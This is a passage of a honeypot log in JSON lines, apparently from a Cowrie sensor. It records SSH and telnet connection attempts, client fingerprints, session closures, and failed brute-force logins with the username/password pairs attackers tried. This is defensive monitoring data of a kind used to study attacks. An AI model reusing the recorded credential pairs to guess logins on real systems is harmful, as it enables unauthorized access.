ss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:39:48.008016Z","src_ip":"193.32.162.145","session":"abe4c2291b54","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"firedancer","message":"login attempt [ubuntu/firedancer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:39:48.326550Z","src_ip":"193.32.162.145","session":"abe4c2291b54","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":38054,"dst_ip":"10.17.0.5","dst_port":23,"session":"673af90c2bb0","protocol":"telnet","message":"New connection: 192.119.13.58:38054 (10.17.0.5:23) [session: 673af90c2bb0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:39:48.544779Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:39:49.435386Z","src_ip":"193.32.162.145","session":"abe4c2291b54","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"150.109.25.130","src_port":34664,"dst_ip":"159.203.135.109","dst_port":22,"session":"4b4064778fb4","protocol":"ssh","message":"New connection: 150.109.25.130:34664 (159.203.135.109:22) [session: 4b4064778fb4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:39:51.506513Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:39:51.511297Z","src_ip":"150.109.25.130","session":"4b4064778fb4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:39:51.749744Z","src_ip":"150.109.25.130","session":"4b4064778fb4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.173401832580566,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:39:52.260551Z","src_ip":"192.119.13.58","session":"4d0102abe0a5","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"2093","message":"login attempt [root/2093] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:39:52.738557Z","src_ip":"150.109.25.130","session":"4b4064778fb4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.228389739990234,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:39:53.398225Z","src_ip":"192.119.13.58","session":"2ac645bfd215","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:39:53.981327Z","src_ip":"150.109.25.130","session":"4b4064778fb4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.99185919761658,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:39:54.501291Z","src_ip":"192.119.13.58","session":"004d1d79bbf7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":58218,"dst_ip":"10.17.0.5","dst_port":23,"session":"7653eaeb939c","protocol":"telnet","message":"New connection: 192.119.13.58:58218 (10.17.0.5:23) [session: 7653eaeb939c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:39:54.610245Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":42922,"dst_ip":"10.17.0.5","dst_port":23,"session":"00bf1dced949","protocol":"telnet","message":"New connection: 192.119.13.58:42922 (10.17.0.5:23) [session: 00bf1dced949]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:39:56.818261Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":48444,"dst_ip":"10.17.0.5","dst_port":23,"session":"b1fa780175c8","protocol":"telnet","message":"New connection: 192.119.13.58:48444 (10.17.0.5:23) [session: b1fa780175c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:39:58.267057Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":55006,"dst_ip":"10.17.0.5","dst_port":23,"session":"86eeb6063715","protocol":"telnet","message":"New connection: 192.119.13.58:55006 (10.17.0.5:23) [session: 86eeb6063715]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:39:59.808393Z"}
{"eventid":"cowrie.session.closed","duration":46.715415716171265,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:40:02.598857Z","src_ip":"192.119.13.58","session":"bc8edfa83b73","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.100.175","src_port":38364,"dst_ip":"159.203.135.109","dst_port":22,"session":"300f522034d8","protocol":"ssh","message":"New connection: 43.134.100.175:38364 (159.203.135.109:22) [session: 300f522034d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:40:05.435902Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:40:05.446676Z","src_ip":"43.134.100.175","session":"300f522034d8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:40:05.693905Z","src_ip":"43.134.100.175","session":"300f522034d8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"password1","message":"login attempt [root/password1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:40:06.713950Z","src_ip":"43.134.100.175","session":"300f522034d8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":33214,"dst_ip":"10.17.0.5","dst_port":23,"session":"4f02d378e6bb","protocol":"telnet","message":"New connection: 192.119.13.58:33214 (10.17.0.5:23) [session: 4f02d378e6bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:40:07.894593Z"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:40:07.985752Z","src_ip":"43.134.100.175","session":"300f522034d8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.29200506210327,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:40:10.711345Z","src_ip":"192.119.13.58","session":"d36fc5f4230f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":33728,"dst_ip":"10.17.0.5","dst_port":23,"session":"98b8c7870729","protocol":"telnet","message":"New connection: 192.119.13.58:33728 (10.17.0.5:23) [session: 98b8c7870729]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:40:14.860055Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":40942,"dst_ip":"10.17.0.5","dst_port":23,"session":"cb5b135c221b","protocol":"telnet","message":"New connection: 192.119.13.58:40942 (10.17.0.5:23) [session: cb5b135c221b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:40:17.713815Z"}
{"eventid":"cowrie.session.closed","duration":39.83005690574646,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:40:17.863763Z","src_ip":"192.119.13.58","session":"e2cb0923c88e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.5.249","src_port":40292,"dst_ip":"159.203.135.109","dst_port":22,"session":"7015f31be736","protocol":"ssh","message":"New connection: 165.154.5.249:40292 (159.203.135.109:22) [session: 7015f31be736]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:40:19.262499Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:40:19.268348Z","src_ip":"165.154.5.249","session":"7015f31be736","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:40:19.485152Z","src_ip":"165.154.5.249","session":"7015f31be736","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"pa","message":"login attempt [root/pa] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:40:20.386594Z","src_ip":"165.154.5.249","session":"7015f31be736","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"175.118.127.138","src_port":45686,"dst_ip":"10.17.0.5","dst_port":22,"session":"f7aa8fad45ff","protocol":"ssh","message":"New connection: 175.118.127.138:45686 (10.17.0.5:22) [session: f7aa8fad45ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:40:20.518292Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:40:20.524640Z","src_ip":"175.118.127.138","session":"f7aa8fad45ff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:40:20.710094Z","src_ip":"175.118.127.138","session":"f7aa8fad45ff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kafka","password":"1234","message":"login attempt [kafka/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:40:21.466541Z","src_ip":"175.118.127.138","session":"f7aa8fad45ff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:40:21.607598Z","src_ip":"165.154.5.249","session":"7015f31be736","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.07074022293091,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:40:22.547696Z","src_ip":"192.119.13.58","session":"2e32c4d6c5a2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:40:22.649334Z","src_ip":"175.118.127.138","session":"f7aa8fad45ff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":39614,"dst_ip":"10.17.0.5","dst_port":23,"session":"dcedcf73ef94","protocol":"telnet","message":"New connection: 192.119.13.58:39614 (10.17.0.5:23) [session: dcedcf73ef94]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:40:23.256686Z"}
{"eventid":"cowrie.session.closed","duration":36.738137006759644,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:40:25.282851Z","src_ip":"192.119.13.58","session":"673af90c2bb0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.26717782020569,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:40:25.313368Z","src_ip":"192.119.13.58","session":"324d0d1e91d1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.22220230102539,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:40:25.512287Z","src_ip":"192.119.13.58","session":"230da64c8781","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.114","src_port":57024,"dst_ip":"10.17.0.5","dst_port":22,"session":"4d84665a30f0","protocol":"ssh","message":"New connection: 103.27.238.114:57024 (10.17.0.5:22) [session: 4d84665a30f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:40:29.645697Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:40:29.650751Z","src_ip":"103.27.238.114","session":"4d84665a30f0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:40:29.930140Z","src_ip":"103.27.238.114","session":"4d84665a30f0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"maggie","message":"login attempt [root/maggie] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:40:30.767221Z","src_ip":"103.27.238.114","session":"4d84665a30f0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:40:32.048892Z","src_ip":"103.27.238.114","session":"4d84665a30f0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":56360,"dst_ip":"10.17.0.5","dst_port":23,"session":"d7f3a7bff4d6","protocol":"telnet","message":"New connection: 192.119.13.58:56360 (10.17.0.5:23) [session: d7f3a7bff4d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:40:33.998167Z"}
{"eventid":"cowrie.session.closed","duration":37.64785885810852,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:40:34.465836Z","src_ip":"192.119.13.58","session":"00bf1dced949","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":59110,"dst_ip":"10.17.0.5","dst_port":23,"session":"945c067a6b5c","protocol":"telnet","message":"New connection: 192.119.13.58:59110 (10.17.0.5:23) [session: 945c067a6b5c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:40:34.635953Z"}
{"eventid":"cowrie.session.closed","duration":37.0240581035614,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:40:36.832316Z","src_ip":"192.119.13.58","session":"86eeb6063715","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":42040,"dst_ip":"10.17.0.5","dst_port":23,"session":"b750d11fe5fa","protocol":"telnet","message":"New connection: 192.119.13.58:42040 (10.17.0.5:23) [session: b750d11fe5fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:40:37.356535Z"}
{"eventid":"cowrie.session.connect","src_ip":"150.109.25.130","src_port":37164,"dst_ip":"159.203.135.109","dst_port":22,"session":"c6431179cd36","protocol":"ssh","message":"New connection: 150.109.25.130:37164 (159.203.135.109:22) [session: c6431179cd36]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:40:40.035016Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:40:40.065442Z","src_ip":"150.109.25.130","session":"c6431179cd36","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha